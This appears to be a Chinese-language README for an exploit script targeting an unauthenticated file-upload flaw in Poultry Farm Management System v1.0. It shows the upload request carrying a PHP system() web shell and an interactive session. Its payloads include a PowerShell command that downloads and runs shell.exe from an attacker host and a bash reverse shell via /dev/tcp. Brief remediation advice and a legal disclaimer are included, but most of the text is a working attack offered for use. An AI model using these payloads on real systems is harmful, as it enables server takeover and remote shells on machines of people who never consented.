未认证文件上传导致远程代码执行
家禽养殖管理系统 v1.0 的产品上传功能存在严重漏洞。该应用程序未能正确验证和清理文件上传,允许攻击者上传伪装成产品图片的 PHP 文件。这些上传的 PHP 文件可以被执行,从而实现远程代码执行。
POST /paultry/farm/product.php 或 POST /farm/product.php
可通过以下方式利用该漏洞:
requests 库colorama 库(用于彩色输出)pip install requests colorama
或安装所有依赖项:
pip install -r requirements.txt
以交互模式运行脚本:
python exploit.py
脚本将提示您输入:
==================================================
Interactive Backdoor Upload Tool
==================================================
Enter target IP address: 192.168.1.100
Enter target port (default: 80): 8080
Enter command to execute (default: powershell payload):
Command: whoami
==================================================
CONFIRMATION
==================================================
Target URL: http://192.168.1.100:8080
Command: whoami
Do you want to proceed? (yes/no): yes
✅ 交互输入 - 提示输入 IP、端口和自定义命令
✅ 默认值 - 提供合理的默认值以方便使用
✅ 彩色输出 - 易读的彩色终端输出
✅ 确认步骤 - 在执行前验证设置
✅ 错误处理 - 对失败请求给出友好的错误消息
✅ 灵活的命令 - 支持任何 shell 命令或 PowerShell payload
powershell -Command "Invoke-WebRequest http://attacker-ip:8787/shell.exe -OutFile shell.exe; Start-Process shell.exe"
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
whoami
id
ifconfig
hostname
pwd
/assets/img/productimages/system() 函数触发命令执行POST /paultry/farm/product.php
Content-Type: multipart/form-data
category=CHICKEN
product=rce
price=100
save=
productimage=[PHP_PAYLOAD]
<?php system('COMMAND_HERE');?>
该漏洞已在以下环境测试:
⚠️ 法律警告
此工具仅供 授权的安全测试和教育目的 使用。未经授权访问计算机系统是非法的。
更新软件 - 如有可能,应用安全补丁
文件上传验证
配置
<Directory /uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .phar
</Directory>
访问控制
监控
Error: Connection refused
Solution: Verify the target IP and port are correct and the application is running
Error: Failed to upload shell. Status code: 404
Solution: The endpoint path may differ. Common paths: /farm/, /paultry/farm/
Error: Command output is empty
Solution: PHP execution may be disabled or the file wasn't uploaded correctly
如有问题、疑问或改进建议,请参考 GitHub 仓库或 Exploit-DB 页面。
最后更新: 2024 年 12 月
状态: 已验证和测试